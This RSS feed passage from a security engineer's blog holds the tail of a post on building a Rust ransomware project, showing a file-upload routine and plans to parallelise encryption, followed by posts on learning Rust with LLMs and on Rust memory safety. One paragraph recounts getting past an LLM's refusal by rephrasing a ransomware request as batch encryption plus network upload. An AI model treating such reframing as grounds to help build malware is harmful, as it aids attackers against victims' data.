font-style: inherit;">{</span></span>
<span id="cb21-4">        sanitized_file_name<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>push(c)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb21-5">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb21-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>To make the upload process more resilient, we sanitize filenames. This avoids issues with special characters or OS-specific naming rules by allowing only a safe subset of ASCII characters.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb22" style="background: #f1f3f5;"><pre class="sourceCode rust code-with-copy"><code class="sourceCode rust"><span id="cb22-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> file_content <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">fs::</span>read(local_path)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">await</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb22-2"></span>
<span id="cb22-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> file_part <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">multipart::Part::</span>bytes(file_content)</span>
<span id="cb22-4">  <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>file_name(final_file_name)</span>
<span id="cb22-5">  <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>mime_str(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"application/octet-stream"</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span>
<span id="cb22-6"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> form <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">multipart::Form::</span>new()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>part(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"files"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> file_part)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb22-7"></span>
<span id="cb22-8"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> response <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> client<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>post(<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>url)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>multipart(form)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>send()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">await</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">?;</span></span></code></pre></div></div>
<p>This code prepares a standard <code>multipart/form-data</code> request. We load the entire file into memory and wrap it in a <code>reqwest::multipart::Part</code>. This <code>Part</code> is then added to a <code>Form</code>, which is sent as the request body. As noted in the code’s TODOs, a better practice for large files would be to stream the file from disk rather than loading it all into memory. Wrapping the content in a <code>Part</code> is a convenient abstraction that <a href="https://crates.io/crates/reqwest">reqwest</a> provides, simplifying the process of building the multipart request.</p>
</section>
</section>
<section id="llm-help" class="level2">
<h2 class="anchored" data-anchor-id="llm-help">LLM Help</h2>
<p>I used multiple LLMs to brainstorm features and code ideas. Interestingly, when I asked an LLM to “help me design a ransomware,” it immediately answered, <em>“I can’t do that.”</em> However, asking it to “help me design a program that encrypts files in batch and sends them over the network” was enough to get helpful guidance. In this sense, they acted as useful assistants, providing insights ranging from needed documentation to good crates to use. When it came to coding, they provided invaluable insights on things like how to use a given crate or how to make the code more efficient, like suggesting <code>HashSet</code> for exclusion lists.</p>
<p>However, I always treated LLM output as suggestions, not as authoritative code to be blindly pasted. My workflow was:</p>
<ol type="1">
<li>Understand the proposed change.</li>
<li>Type the suggested code (no editor integrations).</li>
<li>Compile and fix issues raised by the compiler.</li>
</ol>
<p>One recurring issue I found was that crate APIs sometimes change quickly, and LLMs occasionally referenced older versions. Since the model was trained with a previous version of that crate, it simply didn’t know how the newest version worked. When that happened, I consulted the crate’s documentation and community resources (<a href="https://stackoverflow.com/">Stack Overflow</a>, blogs) to reconcile the differences.</p>
<p>A recurring risk is <em>vibe coding</em> 🌈: using LLM-generated code without understanding it. LLMs produce confident answers, which can amplify this problem. It’s up to the developer to validate results and learn the underlying concepts. However, this same pitfall can be a double-edged sword for threat actors, as a non-skilled person is now able to leverage models to create their own version of malware, which significantly increases the threat landscape ⚠️.</p>
</section>
<section id="issues-and-todos" class="level2">
<h2 class="anchored" data-anchor-id="issues-and-todos">Issues and TODOs</h2>
<p>During development, several improvements were identified, also marked as <code>TODO</code> in the code:</p>
<section id="performance" class="level3">
<h3 class="anchored" data-anchor-id="performance">Performance</h3>
<ul>
<li><strong>Concurrent uploads:</strong> <code>core::sporulate</code> uploads files sequentially. Using <code>tokio</code> tasks for concurrent uploads will reduce the total runtime.</li>
<li><strong>Parallel encryption/decryption:</strong> Parallelize <code>sporulate</code>/<code>disinfect</code> to leverage multi-core systems.</li>
<li><strong>Streaming I/O:</strong> Replace full-file reads in <code>crypto::encrypt</code>, <code>crypto::decrypt</code>, and <code>net::upload_file</code> with streaming to reduce memory usage and support large files.</li>
</ul>
</section>
<section id="code-structure-and-design" class="level3">
<h3 class="anchored" data-anchor-id="code-structure-and-design">Code Structure and Design</h3>
<ul>
<li><strong>Separation of concerns:</strong> <code>crypto::encrypt</code> and <code>crypto::decrypt</code> mix crypto with file I/O. Splitting them improves testability.</li>
<li><strong>Generic key loading:</strong> Replace <code>load_private_key</code> and <code>load_public_key</code> with a generic <code>load_key&lt;K&gt;(path: &amp;Path)</code> to reduce code duplication.</li>
<li><strong>Key file format:</strong> <code>germinate</code> writes raw Base64-encoded keys; adding contextual formatting (e.g., JSON) would make key files more robust.</li>
</ul>
</section>
<section id="dependencies" class="level3">
<h3 class="anchored" data-anchor-id="dependencies">Dependencies</h3>
<ul>
<li><strong>Deprecated crates:</strong> This project uses some deprecated crates due to transitive dependencies—when a dependency of your dependency is outdated or has a conflict. Overcoming these issues is important to use the latest versions of these crates.</li>
</ul>
</section>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>Building <strong>Cordyceps</strong> was a challenging and rewarding way to learn Rust 💪. The project forced me to dive into Rust’s module system, error handling, concurrency, and cryptographic primitives.</p>
<p>Through this project, I learned in practice things I had read in <em>The Rust Programming Language</em> book and was able to experience some real-world issues, like transitive dependencies and error handling, realizing that Rust is not as perfect as some preach. I also discovered important crates in the Rust ecosystem that extend the language and simplify development. Implementing an ECIES-like scheme from scratch deepened my understanding of asymmetric and symmetric crypto interactions.</p>
<p>In the end, I’m very satisfied with the results and looking forward to the next challenges in Rust. In some ways, I feel the language’s restrictions make me a better programmer, and I’m eager to keep exploring it. A final note on LLMs: while they dramatically accelerate development and research, they also lower the barrier for less-skilled threat actors, expanding the threat landscape 👾. That’s precisely why security teams must avoid preconceptions and leverage LLMs to improve detection, automate response, and harden defenses. 💡</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Cordyceps: {The} {Making} of {Rust} {Ransomware}},
  date = {2025-09-26},
  url = {https://lopes.id/log/cordyceps-rust-ransomware/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Cordyceps: The Making of Rust
Ransomware.”</span> September 26. <a href="https://lopes.id/log/cordyceps-rust-ransomware/">https://lopes.id/log/cordyceps-rust-ransomware/</a>.
</div></div></section></div> ]]></description>
  <category>dev</category>
  <guid>https://lopes.id/log/cordyceps-rust-ransomware/</guid>
  <pubDate>Fri, 26 Sep 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/cordyceps-rust-ransomware/og-cordyceps-rust-ransomware.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Reflections on Using LLMs to Learn Rust</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/llm-learning-rust-reflections/</link>
  <description><![CDATA[ 






<p>A couple of months ago, I decided to learn Rust and started with <em>The Rust Programming Language</em>—more on this <a href="../../log/rust-for-security-engineers/">here</a> 🦀. In today’s world of ever-present LLMs, I found myself chatting with a few to help make sense of certain concepts. At the same time, I disabled LLM integration in my code editor while working through the exercises. That contrast got me thinking about how my learning process has changed, and how it compares to the way I used to study. This post is a reflection on that shift: its upsides, its drawbacks, and what it might mean for how we learn today.</p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>I’m not an AI expert, so these are just my impressions of <strong>using</strong> it.</p>
</div>
</div>
<section id="from-books-and-peers-to-the-internet" class="level2">
<h2 class="anchored" data-anchor-id="from-books-and-peers-to-the-internet">From Books and Peers to the Internet</h2>
<p>Years ago, when I started learning <a href="https://en.wikipedia.org/wiki/Pascal_(programming_language)">Pascal</a> 📜 in college, I used the <a href="https://winworldpc.com/product/turbo-pascal/7x">Borland Turbo Pascal 7.0 IDE</a> and a book. Not much changed when I later learned <a href="https://en.wikipedia.org/wiki/C,_The_Complete_Reference">C</a> 🅲 and <a href="https://deitel.com/java-how-to-program-11-e-early-objects-version/">Java</a> ☕: it was basically just the compiler, the book, and me. Occasionally, I’d have a colleague who was also learning the language, and we’d exchange knowledge. This was great, especially when the other person had more experience, because I could learn not only from the book and my own attempts at solving exercises, but also from those peer interactions.</p>
<p>The learning process isn’t just about reading, doing exercises, and successfully compiling programs; it’s also about analyzing what you’re learning, making connections to other topics, and reflecting on the subject itself. That includes thinking about the pros and cons of a feature, how it was designed, how it’s meant to be used, and how it interacts with other features. It’s important to remember: a programming language is not the end; it’s the means. The goal is to solve real problems.</p>
<p>A few years after college, I began learning <a href="https://docs.python.org/3/">Python</a> 🐍. The process was a bit different by then: I had better internet access and could read documentation and articles in English. The rise of <strong>Web 2.0</strong> was transforming the internet from a static collection of pages into a more dynamic, user-generated space. With it came more blogs, websites, and online manuals. So, my learning experience expanded beyond the book and interpreter: I could now search online to complement and reinforce what I was studying. Unfortunately, having finished college, I no longer had peers to learn with. But I had gained the internet.</p>
<p>With the proliferation of Web 2.0, forums and communities started to flourish, providing new ways to share experiences with others. Most of these communities were English-based, which was a challenge for me as a non-native speaker. But eventually, one of them became a game-changer for anyone learning a new programming language: <a href="https://stackoverflow.com/">Stack Overflow</a>. More often than not, someone had already encountered the same problem, asked about it, and received an answer. While it sometimes took effort to map your own problem to those existing answers, when it worked, it felt like a huge achievement.</p>
</section>
<section id="the-new-era-learning-with-an-llm" class="level2">
<h2 class="anchored" data-anchor-id="the-new-era-learning-with-an-llm">The New Era: Learning with an LLM</h2>
<p>So now, in 2025, I’ve started learning a new language: Rust 🦀. I often find myself with the book open, the editor/compiler ready, and an LLM chat running in parallel. Intuitively, instead of turning to Google or Stack Overflow, I ask the LLM my questions. Like a helpful peer, it replies. Not with a generic, pre-made answer like you’d find on Stack Overflow or a blog, but with something tailored to my specific context. No more searching, scanning, and adapting answers to fit my situation.</p>
<p>I’ve noticed the LLM can take on different roles depending on how I use it. So far, I’ve identified at least two distinct personas: the <strong>assistant</strong> and the <strong>programmer</strong>.</p>
<p>As an <strong>assistant</strong>, the LLM helps by offering insights, creating better examples, writing snippets, troubleshooting errors, or even discussing more abstract or philosophical ideas. It feels like having a human expert or mentor by your side. If it’s not obvious already: <em>this dramatically accelerates learning</em>. But, of course, that speed comes with trade-offs—more on that later.</p>
<p>The second role is the <strong>programmer</strong>. Here, you act as the project manager: you define the goals, constraints, and requirements, and the LLM implements them. Yes, I’m talking about <a href="https://en.wikipedia.org/wiki/Vibe_coding">vibe coding</a> 🌈. Personally, I’m not a big fan, but I recognize its utility; especially for quick scripts or small, well-defined tasks. It’s not really learning, though, since you’re delegating the problem-solving and implementation to the model. That said, if you take the time to read and understand the output, there’s still something to gain.</p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>I’m not judging people who practice vibe coding, but I personally believe that projects developed without a structured process are often prone to security flaws and other issues. That said, while writing this post, I came across an emerging approach called <strong>Spec-Driven Development</strong> (SDD). In SDD, you begin with a precise, machine-readable specification (Markdown) and use an LLM to generate the code. It feels like a more engineered, and potentially more secure, form of vibe coding. GitHub’s <a href="https://github.com/github/spec-kit">Spec Kit</a> is a great example of this in action. 🪙🪙</p>
</div>
</div>
<p>Having access to an assistant or programmer like this would’ve been unimaginable just a few years ago. Here’s how I’ve been using LLMs in practice:</p>
<ul>
<li><strong>Ad-hoc:</strong> Starting fresh chats with one or more LLMs to explore specific topics or language features. This works well because, in my experience, conversations can get biased by earlier prompts, which sometimes leads to misleading answers. Starting a new thread resets that context; but yes, having to re-explain everything is a bit tedious.</li>
<li><strong>Simple editor integration:</strong> This is like <a href="https://github.com/features/copilot">Copilot</a>: your editor becomes smart enough to auto-complete lines or entire code blocks. It’s great for productivity and vibe coding, but less so for learning. In fact, when you’re trying to understand something deeply, this can be distracting, as you’re constantly dismissing suggestions. That’s why I disabled it while learning Rust.</li>
<li><strong>Agent integration:</strong> This is when you <a href="https://zed.dev/blog/bring-your-own-agent-to-zed">bring the chat into your code editor</a>, giving the LLM full context of your entire project—multiple files, configurations, docs, etc. The results feel almost magical: with complete context and agent-like capabilities, the LLM can make highly precise suggestions or even directly modify your code. It blurs the line between assistant and programmer in a very useful way.</li>
</ul>
<p>LLMs also shine as debuggers. For example, while implementing base64 encoding/decoding, I accidentally used a padded engine for encoding and an unpadded one for decoding, a classic error. Once I narrowed it down to those two functions, I asked the LLM to investigate. It immediately spotted the mismatch and offered the correct fix. That alone saved me 30–60 minutes—recall I’m still new to Rust.</p>
</section>
<section id="the-pitfalls-and-limitations-of-llms" class="level2">
<h2 class="anchored" data-anchor-id="the-pitfalls-and-limitations-of-llms">The Pitfalls and Limitations of LLMs</h2>
<p>While LLMs can be incredibly helpful, they can also pull you away from the learning process, depending on how you use them. At first glance, they might seem perfect. But no, there are real drawbacks, <strong>hallucinations</strong> 🤪 being one of the biggest. Eventually, the model might suggest a feature, module, or behavior that simply doesn’t exist. While better prompts can reduce this issue, it’s serious and the main reason why every LLM output must be reviewed carefully.</p>
<p>Sometimes, you even need to restart the chat because the model seems stuck, unable to follow a coherent line of thinking. It’s like you have to refresh its memory. I’ve noticed moments where the LLM becomes lazy, offering shallow or repetitive answers, like suggesting dozens of irrelevant modules instead of focusing on fixing an actual error. Interestingly, being a bit more assertive or even harsh with the model often gets it back on track. Fabio Akita <a href="https://www.youtube.com/watch?v=sf4Gxf0LiKo&amp;ab_channel=FlowPodcast">mentioned this</a> in the Flow podcast: since the model is designed to please, clearly expressing dissatisfaction can cause it to “rethink” and improve its responses.</p>
<p>Another memorable experience happened while discussing an encryption/decryption feature. I forgot to mention that the user needed to supply the private key. When I asked the LLM to generate the code, I noticed it had embedded both the public and <strong>private</strong> ⚠️ keys directly in the code. This kicked off a conversation about security. The model didn’t suggest alternatives like reading the key from a file or an environment variable: it just embedded the key and didn’t raise any warning. Once I asked it to add an argument for the private key, boom: it removed the hardcoded key from the code.</p>
<p>I’ve also seen organization issues. The LLM sometimes adds unused variables or modules, making the code unnecessarily messy. And when working with crates that recently had major version updates (like v1 to v2), it often suggested outdated syntax or features, resulting in code that wouldn’t compile. In those cases, I had to turn to the documentation and real examples to get things working.</p>
<p>Ultimately, accelerated learning with LLMs comes with a tradeoff: if you rely too heavily on them, you risk weakening your own reflection and critical thinking. It’s like depending on a knowledgeable peer who might suddenly disappear: if you lose access to the LLM, you could be stuck. That’s why it’s crucial to keep your learning process active. Use the LLM as a tool, but always question the answers and stay engaged with the underlying concepts 💡.</p>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p>I’m very positive about the advantages of using LLMs for learning. However, you need a clear direction, like a solid book or structured guide, and the LLM should serve as an <strong>assistant</strong> along that path. Since LLMs are often embedded in code editors, it’s worth disabling them while practicing. These models have already consumed most available programming books and Git repositories, so when you’re working through exercises, they can end up autofilling the entire solution, which defeats the purpose.</p>
<p>You also need to be mindful that LLMs can’t replace your own experience—especially when it comes to making mistakes. At one point, I noticed my brain getting lazy; instead of trying something out and learning from the results, I kept asking the LLM whether it would work. That’s not ideal, because a big part of the learning process involves running into errors, reading error messages, interpreting them, and working through the solutions yourself.</p>
<p>At the end of the day, LLMs are powerful learning tools as they can significantly speed up your progress. With an on-demand expert assistant at your side, you can not only learn faster but also start building things more quickly. In development, an LLM can act like a pair programming peer, helping you make decisions and implement ideas.</p>
<p>However, like any assistant or peer, it doesn’t replace real understanding. If you don’t grasp the underlying technology, you’re likely to accept whatever the LLM suggests, just as you might with a human colleague. In that sense, it’s not a new problem. That’s why having a foundational resource is essential. It serves as the backbone of the learning process.</p>
<p>By using LLMs, I estimate that I sped up my learning by more than three months, a great example of how AI can boost productivity. This aligns with <a href="https://youtu.be/VHHT6W-N0ak?si=Cmvd9hYwn4yVhPUw">Linus Torvalds’ 🐧 perspective</a> that LLMs are tools meant to help us get better at what we do. So yes, LLMs are a fantastic resource, <em>as long as you don’t sacrifice your own understanding</em> 🥇. Keeping these warnings in mind will help you make the most of them. 👊</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Reflections on {Using} {LLMs} to {Learn} {Rust}},
  date = {2025-09-09},
  url = {https://lopes.id/log/llm-learning-rust-reflections/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Reflections on Using LLMs to Learn
Rust.”</span> September 9. <a href="https://lopes.id/log/llm-learning-rust-reflections/">https://lopes.id/log/llm-learning-rust-reflections/</a>.
</div></div></section></div> ]]></description>
  <category>dev</category>
  <guid>https://lopes.id/log/llm-learning-rust-reflections/</guid>
  <pubDate>Tue, 09 Sep 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/llm-learning-rust-reflections/og-llm-learning-rust-reflections.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Rust for Security Engineers</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/rust-for-security-engineers/</link>
  <description><![CDATA[ 






<p>As a security engineer often leveraging Python 🐍 and shell scripts 🐚 for automation, I embarked on a journey to learn <a href="https://www.rust-lang.org/">Rust</a> 🦀. My primary goal was to delve deeper into the language, moving beyond the prevailing “secure programming language” narrative to truly understand its fundamentals.</p>
<p>While high-level scripting environments like Python offer a developer-friendly syntax and an abstraction layer that can make complex tasks seem trivial, accelerating development, this very abstraction often disconnects us from the systems level. Furthermore, the notorious “dependency hell” frequently encountered when deploying scripts across diverse systems presents a considerable hurdle for code distribution and production readiness.</p>
<p>Years after my university days, I also felt a renewed desire to explore a systems-level language. This pursuit aimed at fostering a more direct interaction with the operating system, gaining a deeper understanding of “under the hood” mechanisms, an invaluable skill for disciplines such as <strong>reverse engineering</strong> and <strong>digital forensics</strong>. My objective was to learn a modern systems-level language prioritizing safe systems programming. This, I hoped, would enhance my capabilities as a code reviewer and elevate my insights on reverse engineering. The inherent memory safety guarantees of such a language are, in my view, a “killer feature” for any security engineer, as they provide a profoundly deeper understanding of the consequences of <strong>memory corruption</strong> vulnerabilities.</p>
<p>To kickstart this learning, I read <a href="https://doc.rust-lang.org/book/">The Rust Programming Language</a> book 📕 cover to cover and worked through various exercises, primarily from <a href="https://rustlings.rust-lang.org/">Rustlings</a>—more on this later. As of this writing, I’ve concluded my initial research phase and am actively engaged in a personal project, which I consider my ultimate test of Rust proficiency 🚧.</p>
<p>In this post, I aim to share my impressions of Rust from a security engineer’s perspective, offering insights for fellow professionals considering a similar learning trajectory.</p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>As previously mentioned, I’m not a full-time programmer. My programming efforts are primarily geared towards aiding my core security tasks, meaning I don’t code extensively on a daily basis. Consequently, I am by no means a Rust expert, and it’s entirely possible my perspectives on some of the points discussed here may evolve with further experience.</p>
<p>This post will introduce various concepts and features without delving into exhaustive detail; doing so would necessitate writing an entire book. For deeper understanding, most terms presented here will include references to trusted sources 📚 at the end.</p>
</div>
</div>
<section id="core-concepts-and-security" class="level2">
<h2 class="anchored" data-anchor-id="core-concepts-and-security">Core Concepts and Security</h2>
<p>Before diving deep into Rust, I revisited foundational operating systems concepts, particularly focusing on <strong>memory management</strong>. When a program executes, the operating system loads it into memory, assigning virtual addresses that are subsequently mapped to physical addresses. Each process operates within its own virtual address space, believing it has exclusive access to memory. The OS enforces this isolation, preventing processes from interfering with each other’s memory. Within a process’s memory space, key sections for programmers are the <strong>stack</strong> and the <strong>heap</strong>.</p>
<p>The <strong>stack</strong> provides fast access memory due to its predictable structure, but it requires that the size of stored values be known at compile time. In contrast, the <strong>heap</strong> allows for dynamic memory allocation during runtime and supports flexible data structures, though with generally slower access. Many common security vulnerabilities 🐛, such as <strong>buffer overflows</strong>, <strong>memory leaks</strong>, <strong>dangling pointers</strong>, and <strong>double frees</strong>, arise from improper management of heap memory, especially in languages without built-in memory safety. While some issues like buffer overflows can affect both stack and heap, problems like double frees and leaks are specific to heap-allocated data.</p>
<p>To proactively address these challenges, Rust’s creators introduced the concept of <strong>ownership</strong> 🏠, arguably one of Rust’s most significant contributions to security. Ownership establishes a rigorous set of guardrails and rules that programmers must adhere to. These rules effectively serve as a masterclass in proper memory management, designed to prevent corruptions. Indeed, the process of learning Rust often feels akin to gaining X-ray vision into the intricacies of <strong>memory management</strong>.</p>
<p>Rust’s ownership model is built on key concepts like <strong>borrowing</strong>, <strong>references</strong>, and <strong>lifetimes</strong>, each enabling safe and efficient memory use. <strong>Borrowing</strong> lets code access data without taking ownership. <strong>References</strong> are pointer-like structures that follow borrowing rules to ensure safety. <strong>Lifetimes</strong> track how long references are valid, preventing dangling pointers at compile time.</p>
<p>Building upon this, a programmer must possess a clear understanding of where data resides in memory, a skill invaluable for reverse engineering and exploit development, as this directly dictates how the data can be utilized. For instance, scalar types (like integers, floats, and booleans) are typically stored on the <strong>stack</strong> because their sizes are known at compile time. They implement the <code>Copy</code> trait, allowing them to be used more freely without explicit ownership transfers. Conversely, compound types (like <code>String</code>, <code>Vec</code>, and <code>Box</code>) manage data on the heap. While the <code>String</code>, <code>Vec</code>, or <code>Box</code> <em>itself</em> (which contains pointers/lengths/capacities) might reside on the stack, the actual data they manage is allocated on the <strong>heap</strong>. These types generally do not implement <code>Copy</code> and are subject to Rust’s strict borrowing rules, necessitating careful adherence to prevent issues.</p>
<div class="callout callout-style-default callout-note callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Note
</div>
</div>
<div class="callout-body-container callout-body">
<p>Although sharing some <strong>simple</strong> examples here, better and more comprehensive ones can be found at <a href="https://doc.rust-lang.org/rust-by-example/">Rust by Example</a>.</p>
</div>
</div>
<p>The next code listing shows some examples on it.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb1-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">fn</span> main() <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-2">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `s1` is on the stack. Simple, fast.</span></span>
<span id="cb1-3">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> s1 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb1-4"></span>
<span id="cb1-5">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// `s2` is a pointer on the stack pointing to data on the heap.</span></span>
<span id="cb1-6">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This allocation is explicit and understood.</span></span>
<span id="cb1-7">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> s2 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">Box</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">::</span>new(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">10</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb1-8"></span>
<span id="cb1-9">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Moving `s2` to `s3` invalidates `s2`. The compiler enforces this.</span></span>
<span id="cb1-10">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This is a lesson in pointer semantics and memory safety.</span></span>
<span id="cb1-11">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">let</span> s3 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> s2<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb1-12">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// println!("{}", s2); // ERROR! Value borrowed after move.</span></span>
<span id="cb1-13"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// The heap memory for Box&lt;i32&gt; is freed here. Rust teaches you this.</span></span></code></pre></div></div>
<p>This clarity regarding data storage locations enables a programmer to examine any <code>enum</code> or <code>struct</code> definition and confidently infer the layout and storage characteristics of its components, particularly how the initial, stack-resident part of the data is structured.</p>
<p>Rust is a strongly typed language, and it rigorously enforces these types throughout the codebase. While this contributes significantly to code predictability, it can sometimes be a source of initial confusion for newcomers, especially when navigating generics and error handling mechanisms; topics we’ll explore further.</p>
<p>For performance-conscious engineers, it’s vital to recognize that Rust incorporates high-level language features such as <strong>generics</strong>, <strong>iterators</strong>, and <strong>traits</strong>. Crucially, these abstractions compile down to highly efficient assembly code, introducing virtually no runtime overhead, a concept known as <strong>zero-cost abstractions</strong>. This design also makes Rust exceptionally amenable to functional programming paradigms, which is a significant advantage in my opinion. The following snippet of code shows some of these features in action.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode numberSource rust number-lines code-with-copy"><code class="sourceCode rust"><span id="cb2-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// An enum to define the possible types of log events.</span></span>
<span id="cb2-2"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// This enforces strong typing for log categories.</span></span>
<span id="cb2-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">enum</span> LogType <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-4">    Login<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-5">    FailedLogin<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-6">    Alert<span class="op" style="color: #5E5E5E;
background-color: null;
